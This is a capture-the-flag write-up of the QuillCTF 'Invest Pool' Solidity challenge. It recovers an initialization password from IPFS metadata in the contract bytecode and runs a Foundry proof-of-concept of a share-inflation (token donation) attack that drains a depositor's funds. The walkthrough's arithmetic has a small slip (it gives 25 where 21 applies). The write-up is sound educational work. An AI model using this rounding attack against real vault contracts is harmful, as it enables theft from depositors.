Skip to main content

QuillCTF - Invest Pool

· 7 min read
Kaan Caglan

Invest Pool is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there are 2 contract and one foundry setUp file. Contract is not deployed on any testnet.

Objective of CTF is

Your objective is to have a greater token balance than your initial balance.

So somehow we need steal some tokens from contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

contract PoolToken is ERC20("loan token", "lnt"), Ownable {
function mint(uint amount) external onlyOwner {
_mint(msg.sender, amount);
}
}
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract InvestPool {
IERC20 token;
uint totalShares;
bool initialized;
mapping(address => uint) public balance;

modifier onlyInitializing() {
require(initialized, "Not initialized! You are so stupid!");
_;
}

constructor(address _token) {
token = IERC20(_token);
}

function initialize(string memory password) external {
// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars
require(!initialized, "Already initialized");
require(
keccak256(abi.encode(password)) ==
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd,
"Wrong password"
);
initialized = true;
}

function deposit(uint amount) external onlyInitializing {
uint userShares = tokenToShares(amount);
balance[msg.sender] += userShares;
totalShares += userShares;
token.transferFrom(msg.sender, address(this), amount);
}

function tokenToShares(uint userAmount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
if (tokenBalance == 0) return userAmount;
return (userAmount * totalShares) / tokenBalance;
}

function sharesToToken(uint amount) public view returns (uint) {
uint tokenBalance = token.balanceOf(address(this));
return (amount * tokenBalance) / totalShares;
}

function transferFromShare(uint amount, address from) public {
uint size;
assembly {
size := extcodesize(address())
}
require(size == 0, "code size is not 0");
require(balance[from] >= amount, "amount is too big");
balance[from] -= amount;
balance[msg.sender] += amount;
}

function withdrawAll() external onlyInitializing {
uint shares = balance[msg.sender];
uint toWithdraw = sharesToToken(shares);
balance[msg.sender] = 0;
totalShares -= shares;
token.transfer(msg.sender, toWithdraw);
}
}

If we take a look to the InvestPool contract it can be seen that to call deposit and withdrawAll functions we need to set initialized flag to true and it can be done with initialize function. However that function is expecting a password which should satisfy the requirement keccak256(abi.encode(password)) == 0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd. So we need to find a valid password for that. On the initialize function there is a hint which says

// Password could be found in Goerli contract
// 0xA45aC53E355161f33fB00d3c9485C77be3c808ae
// Hint: Password length is more than 30 chars

So we can find the valid password from that contract. deployed contract is not verified. However we can decompile the contract to see the content of that. We can use this decompiler. If we take a look to the decompiled contract

// Decompiled by library.dedaub.com
// 2023.04.11 13:00 UTC
// Compiled using the solidity compiler version 0.6.11


// Data structures and variables inferred from the use of storage instructions
uint256 _a; // STORAGE[0x0]
uint256 _b; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]



function () public payable {
revert();
}

function a() public payable {
return _a;
}

function b() public payable {
return _b;
}

function 0xcc8e2394() public payable {
return stor_2;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0xdbe671f == function_selector >> 224) {
a();
} else if (0x4df7e3d0 == function_selector >> 224) {
b();
} else if (0xcc8e2394 == function_selector >> 224) {
0xcc8e2394();
}
}
();
}

We can see there is a function which has a signature 0xcc8e2394 which is equal to getPassword(). So if we take a look to the initial transaction of that contract from ethercan we can see the value of getPassword() is 0x05. So it can't be the actual password we are looking for because hint says Password length is more than 30 chars. If we take a look to the contract bytecode deeply we can see that there is a signature for ipfs keyword. Encoding of the Metadata Hash in Bytecode page explains the details. So we know that creator sent the metadata hash with bytecode. According to the page its CBOR-encoded and it starts with 0xa264 then there is ipfs word which is equal to 69 70 66 73 so after that there i also 0x58 and 0x22. 0x22 stands for the length of ipfs which is also written in the documentation. So after those bytes if we read 34 byte we can retrieve the ipfs hash. We can write a small python script to retrieve ipfs hash.

import base58
import requests

bytecode = "0x6080604052348015600f57600080fd5b5060043610603c5760003560e01c80630dbe671f1460415780634df7e3d014605b578063cc8e2394146075575b600080fd5b6047608f565b6040516052919060b8565b60405180910390f35b60616095565b604051606c919060b8565b60405180910390f35b607b609b565b6040516086919060b8565b60405180910390f35b60005481565b60015481565b60025481565b6000819050919050565b60b28160a1565b82525050565b600060208201905060cb600083018460ab565b9291505056fea264697066735822122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea64736f6c634300060b0033"

ipfs_prefix = "a264697066735822"
ipfs_prefix_index = bytecode.find(ipfs_prefix)

if ipfs_prefix_index != -1:
ipfs_hash_bytes_start = ipfs_prefix_index + len(ipfs_prefix)
ipfs_hash_bytes_end = ipfs_hash_bytes_start + 68
ipfs_hash_bytes = bytecode[ipfs_hash_bytes_start:ipfs_hash_bytes_end]
print("IPFS Hash Bytes:", ipfs_hash_bytes)

# Convert to Multihash
multihash = base58.b58encode(bytes.fromhex(ipfs_hash_bytes)).decode("utf-8")
print("IPFS Multihash:", multihash)
password = requests.get('https://ipfs.io/ipfs/'+str(multihash)).content.decode('utf-8').replace('\n','')
print('Password: ', password)
else:
print("IPFS prefix not found")

If we run this script, we can get the password

> python helper.py
IPFS Hash Bytes: 122054c3e28cded5e23f5b3ee244c86c623b672d772b268fdc5e76e4fe131e690bea
IPFS Multihash: QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V
Password: j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx

So now we have the valid password to call initialize function and make initialized parameter true. So now since we can call the deposit and withdrawAll functions we can find a vulnerability to steal money. When we call deposit it calls the tokenToShares function and adds totalShares and also the balances variables according to the return value of tokenToShares function. However it is using tokenBalance to do the calculation. So it means we can increase the tokenBalance parameter with transfering tokens directly to the contract. With the help of this we will only increase the tokenBalance and totalShares will stay same. To break this we can do following

  • Deposit 5 tokens with deposit function as hacker
  • Now totalShares will be 5, balance[hacker] will be 5 and also tokenBalance will be 5
  • We can transfer 16 tokens with token.transfer(address(pool), 16);
  • Now totalShares is 5, balance[hacker] is again 5 but now tokenBalance is 21.
  • So if any user deposits less than 5 token their shares won't be updated due to divison on tokenToShares
  • User deposits 4 token, it will call tokenToShares as userAmount is 4, it will return (userAmount * totalShares) / tokenBalance which will be (4*5)/21 = 20/21 and which will equal to 0.
  • If hacker calls withdrawAll function it will call sharesToToken with shares as a 5, it will return (amount * tokenBalance) / totalShares which will be (5*25/5)= 25 and it will transfer that amount to hacker
  • Eventually hacker will have 25 tokens, however hacker only sent 21 tokens to the pool.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

import "forge-std/Test.sol";
import "../src/poolToken.sol";
import "../src/investPool.sol";

contract Hack is Test {
PoolToken token;
InvestPool pool;
address user = vm.addr(1);
address hacker = vm.addr(2);

function setUp() external {
token = new PoolToken();
pool = new InvestPool(address(token));

token.mint(2000e18);
token.transfer(user, 1000e18);
token.transfer(hacker, 1000e18);

vm.prank(user);
token.approve(address(pool), type(uint).max);

vm.prank(hacker);
vm.deal(hacker, 1 ether);
token.approve(address(pool), type(uint).max);
}

function userDeposit(uint amount) public {
vm.prank(user);
pool.deposit(amount);
vm.stopPrank();
}

function test_hack() public {
uint hackerBalanceBeforeHack = token.balanceOf(hacker);
vm.startPrank(hacker);


string memory pass = 'j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx';
console.logBytes32(keccak256(abi.encode(pass)));
pool.initialize(pass);


pool.deposit(5);
token.transfer(address(pool), 16);
vm.stopPrank();
userDeposit(4);
vm.startPrank(hacker);

pool.withdrawAll();

vm.stopPrank();
console.log("Initial hacker balance: ", hackerBalanceBeforeHack);
console.log("Hacker balance after attack: ", token.balanceOf(hacker));

assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack);
}
}
> forge test -vv
[] Compiling...
[] Compiling 1 files with 0.8.7
[] Solc 0.8.7 finished in 4.74s
Compiler run successful

Running 1 test for test/InvestPool.t.sol:Hack
[PASS] test_hack() (gas: 123524)
Logs:
0x18617c163efe81229b8520efdba6384eb5c6d504047da674138c760e54c4e1fd
Initial hacker balance: 1000000000000000000000
Hacker balance after attack: 1000000000000000000004

Test result: ok. 1 passed; 0 failed; finished in 2.68ms